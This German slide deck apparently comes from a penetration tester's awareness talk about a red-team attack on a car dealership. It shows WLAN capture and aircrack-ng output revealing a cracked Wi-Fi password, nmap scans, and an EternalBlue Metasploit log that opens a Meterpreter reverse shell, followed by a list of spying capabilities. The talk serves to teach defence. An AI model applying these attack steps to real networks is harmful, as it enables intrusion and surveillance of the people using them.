



Wie sicher ist Ihr Unternehmen?

Referent:

Bjoern Hering



Certified Ethical Hacker (CEH 312-50)

Penetration Tester

Red Team Offensive Attacker

offensive IT der Autohaus Trompeter GmbH

www.netsicher.net
info@netsicher.net

Ein Penetration Test beantwortet folgende Fragen:

Ein Penetration Test beantwortet folgende Fragen:

- ❑ Was sieht ein Angreifer von außen?

Ein Penetration Test beantwortet folgende Fragen:

- ❑ Was sieht ein Angreifer von außen?
- ❑ Was kann ein Angreifer alles anrichten?

Ein Penetration Test beantwortet folgende Fragen:

- ❑ Was sieht ein Angreifer von außen?
- ❑ Was kann ein Angreifer alles anrichten?
- ❑ Fällt jemanden der Angriff auf (Logs, IDS etc.)



Alle klassischen Hacking / Angriffsmethoden wie:

- ❑ Aktive & passive Hacking-Angriffe auf Ihr Unternehmen
- ❑ Social Engineering Angriffe auf Ihre Mitarbeiter (Phishing, Spear Phishing, Telefon Scams)
- ❑ Angriff auf Ihre WLAN Infrastruktur, physische Angriffe in Ihrem Unternehmen
- ❑ "Innentäterangriff"
- ❑ Durchführung von AWARENESS-Schulungen ihrer Mitarbeiter
- ❑ Detailliertes Gespräch mit der Geschäftsleitung über die Risikobewertung Ihres Unternehmens



Red Team Angriff auf ein Autohaus





- Guest WLAN





- Guest WLAN

Autohaus WLAN gesichert

WPA2 verschlüsselt

root@kali: ~

File Edit View Search Terminal Help

CH 2][Elapsed: 1 min][2017-07-28 14:02

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C4:F0:81:A1:0C:99	-25	39	30 0	11	54e	WPA2	CCMP	PSK	[REDACTED]
0C:D2:B5:17:A4:54	-53	34	35 0	7	54e	WPA2	CCMP	PSK	Jasdeep
0C:D2:B5:65:AF:79	-72	28	0 0	1	54e	WPA2	CCMP	PSK	saanvi
A8:6B:AD:10:8F:08	-72	11	0 0	5	54e	WPA2	CCMP	PSK	Rangi_JioFi3
0C:D2:B5:4C:BC:A8	-73	28	0 0	1	54e	WPA	CCMP	PSK	harbans kaur
C8:D7:79:D0:A2:81	-77	26	0 0	8	54e	WPA2	CCMP	PSK	JioFi2_D0A281
0C:D2:B5:65:FF:42	-80	17	0 0	1	54e	WPA2	CCMP	PSK	Raman
C8:3A:35:3D:CA:18	-85	10	0 0	1	54e	WPA	CCMP	PSK	bsnl_2646

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	00:6F:64:01:25:BE	-51	0 - 1	0	4	Rangi_jiofi3
(not associated)	BC:D1:1F:0A:6D:AE	-73	0 - 1	0	4	JioFi2_D0A281
C4:F0:81:A1:0C:99	84:10:0D:9E:A1:CD	-25	0 - 1e	0	5	
C4:F0:81:A1:0C:99	40:F0:2F:DC:7A:59	-31	0e- 0e	0	23	
0C:D2:B5:17:A4:54	00:71:CC:62:94:14	-1	0e- 0	0	30	
0C:D2:B5:17:A4:54	B4:CE:F6:DF:47:5B	-55	0e- 0e	0	4	
0C:D2:B5:65:FF:42	AC:C1:EE:A2:27:CF	-85	0 - 1	0	3	

root@kali:~#

root@kali: ~

File Edit View Search Terminal Help

CH 2][Elapsed: 1 min][2017-07-28 14:02



BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C4:F0:81:A1:0C:99	-25	39	30 0	11	54e	WPA2	CCMP	PSK	Autohaus Meyer
0C:D2:B5:17:A4:54	-53	34	35 0	7	54e	WPA2	CCMP	PSK	Jasdeep
0C:D2:B5:65:AF:79	-72	28	0 0	1	54e	WPA2	CCMP	PSK	saanvi
A8:6B:AD:10:8F:08	-72	11	0 0	5	54e	WPA2	CCMP	PSK	Rangi_JioFi3
0C:D2:B5:4C:BC:A8	-73	28	0 0	1	54e	WPA	CCMP	PSK	harbans kaur
C8:D7:79:D0:A2:81	-77	26	0 0	8	54e	WPA2	CCMP	PSK	JioFi2_D0A281
0C:D2:B5:65:FF:42	-80	17	0 0	1	54e	WPA2	CCMP	PSK	Raman
C8:3A:35:3D:CA:18	-85	10	0 0	1	54e	WPA	CCMP	PSK	bsnl_2646

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	00:6F:64:01:25:BE	-51	0 - 1	0	4	Rangi_jiofi3
(not associated)	BC:D1:1F:0A:6D:AE	-73	0 - 1	0	4	JioFi2_D0A281
C4:F0:81:A1:0C:99	84:10:0D:9E:A1:CD	-25	0 - 1e	0	5	
C4:F0:81:A1:0C:99	40:F0:2F:DC:7A:59	-31	0e- 0e	0	23	
0C:D2:B5:17:A4:54	00:71:CC:62:94:14	-1	0e- 0	0	30	
0C:D2:B5:17:A4:54	B4:CE:F6:DF:47:5B	-55	0e- 0e	0	4	
0C:D2:B5:65:FF:42	AC:C1:EE:A2:27:CF	-85	0 - 1	0	3	

root@kali:~#

root@kali: ~

File Edit View Search Terminal Help

CH 2][Elapsed: 1 min][2017-07-28 14:02



BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C4:F0:81:A1:0C:99	-25	39	30 0	11	54e	WPA2	CCMP	PSK	Autohaus Meyer
0C:D2:B5:17:A4:54	-53	34	35 0	7	54e	WPA2	CCMP	PSK	Jasdeep
0C:D2:B5:65:AF:79	-72	28	0 0	1	54e	WPA2	CCMP	PSK	saanvi
A8:6B:AD:10:8F:08	-72	11	0 0	5	54e	WPA2	CCMP	PSK	Rangi_JioFi3
0C:D2:B5:4C:BC:A8	-73	28	0 0	1	54e	WPA	CCMP	PSK	harbans kaur
C8:D7:79:D0:A2:81	-77	26	0 0	8	54e	WPA2	CCMP	PSK	JioFi2_D0A281
0C:D2:B5:65:FF:42	-80	17	0 0	1	54e	WPA2	CCMP	PSK	Raman
C8:3A:35:3D:CA:18	-85	10	0 0	1	54e	WPA	CCMP	PSK	bsnl_2646

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	00:6F:64:01:25:BE	-51	0 - 1	0	4	Rangi_jiofi3
(not associated)	BC:D1:1F:0A:6D:AE	-73	0 - 1	0	4	JioFi2_D0A281
C4:F0:81:A1:0C:99	84:10:0D:9E:A1:CD	-25	0 - 1e	0	5	Autohaus Meyer
C4:F0:81:A1:0C:99	40:F0:2F:DC:7A:59	-31	0e- 0e	0	3	Amazon Alexa
0C:D2:B5:17:A4:54	00:71:CC:62:94:14	-1	0e- 0	0	0	Laptop Frank G.
0C:D2:B5:17:A4:54	B4:CE:F6:DF:47:5B	-55	0e- 0e	0	1	
0C:D2:B5:65:FF:42	AC:C1:EE:A2:27:CF	-85	0 - 1	0	3	




root@kali:~#

PC im Haus, Smartphone,
Tablet Laptops etc.

Deauthentication Flooding





In dem Anmeldeprozess wird das Wi-Fi Passwort verschlüsselt übertragen

loading packets, please wait...

Aircrack-ng 1.2 rc4



[07:04:13] 11977037/92621076 keys tested (102.05 k/s)

Time left: 9 days, 3 hours, 37 minutes, 7 seconds

12.93%

KEY FOUND! [XXXXXXXXXX]

Master Key : 8B 4D AD 42 C6 93 67 BC 4C D3 94 BE 47 5D 49 CA
 6C 75 FC B1 98 B4 29 C3 2A 56 4F 1E C0 78 4C 7D

Transient Key : 69 18 1E 80 BC 13 4F E3 88 A9 B8 C9 90 7C 6F 91
 72 95 3A 5F 3F 27 F1 8C DB FB 8B EC 04 C2 C1 76
 43 F0 61 A8 EB F2 39 6A 30 3F 07 43 AA BB C9 BA
 3C 71 BA 88 91 E4 32 F3 C4 E6 A9 29 53 93 B0 9F

EAPOL HMAC : 69 E0 52 9B 46 F6 8A 68 5D 9D 8D D7 D2 FF 2A D5



Dauer des Angriffs: 4 Minuten.

Passwort: "Autohaus1956Meyer?"

Passwort: "Autohaus1956Meyer?"

18 Zeichen, Groß- und Kleinschreibung, Zahlen und Sonderzeichen

Passwort: "Autohaus1956Meyer?"

18 Zeichen, Groß- und Kleinschreibung, Zahlen und Sonderzeichen

Wörterbuch - Attacke

"Autohaus"

"Meyer"


"Gründungsjahr 1956"

"?"



Was können wir im Netzwerk anstellen?

Insgesamt 225 Endgeräte




```
not shown. 225 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5357/tcp  open  wsdapi
10243/tcp open  unknown
MAC Address: 08:00:27:A7:2F:E1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
Device type: general purpose|specialized|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cp
:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o
ndows_vista::sp1
OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows
Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vist
ws 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds
```

not shown. 995 filtered tcp ports (no-response)

PORT	STATE	SERVICE
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
554/tcp	open	rtsp
2869/tcp	open	icslap
5357/tcp	open	wsdapi
10243/tcp	open	unknown



MAC Address: 08:00:27:A7:2F:E1 (Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at least 1

Device type: general purpose|specialized|phone

Running: Microsoft Windows 2008|8.1|7|Phone|Vista

OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::sp1

OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at <https://nmap.org>

Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds



In der Realität sieht das dann so aus:

```
[+] 192.168.1.127:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.127:445 - CORE raw buffer dump (36 bytes)
[*] 192.168.1.127:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.1.127:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.1.127:445 - 0x00000020 36 2e 31 00 6.1
[+] 192.168.1.127:445 - Target arch selected valid for OS indicated by DCE/RPC reply
[*] 192.168.1.127:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.1.127:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.127:445 - Starting non-paged pool grooming
[+] 192.168.1.127:445 - Sending SMBv2 buffers
[+] 192.168.1.127:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.127:445 - Sending final SMBv2 buffers.
[*] 192.168.1.127:445 - Sending last fragment of exploit packet!
[*] 192.168.1.127:445 - Receiving response from exploit packet
[+] 192.168.1.127:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.127:445 - Sending egg to corrupted connection.
[*] 192.168.1.127:445 - Triggering free of corrupted buffer.
[*] Sending stage (1189423 bytes) to 192.168.1.127
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.127:49289) at 2017-06-12 12:56:30 -0400
[+] 192.168.1.127:445 - =====
[+] 192.168.1.127:445 - -----WIN-----
[+] 192.168.1.127:445 - =====
meterpreter > |
```



Exploit: EternalBlue

1. Admin Rechte auf dem System
2. Screensharing
3. Mikrofon Access
4. Webcam Access
5. Keylogger Funktionen
6. Hashdump
7. **Remote Access**



Phishing





Phishing

Zwei Absichten:

1. Schadsoftware ins Haus schleusen
2. Wichtige Zugangsdaten abgreifen



Spooftng



Spooofing:

www.paypal.com

Spooofing:

www.paypal.com

Spooofing:

www.paypal.com

Spooofing:

www.paypal.com



www.netzsicher.net

info@netzsicher.net

0231 999 440 15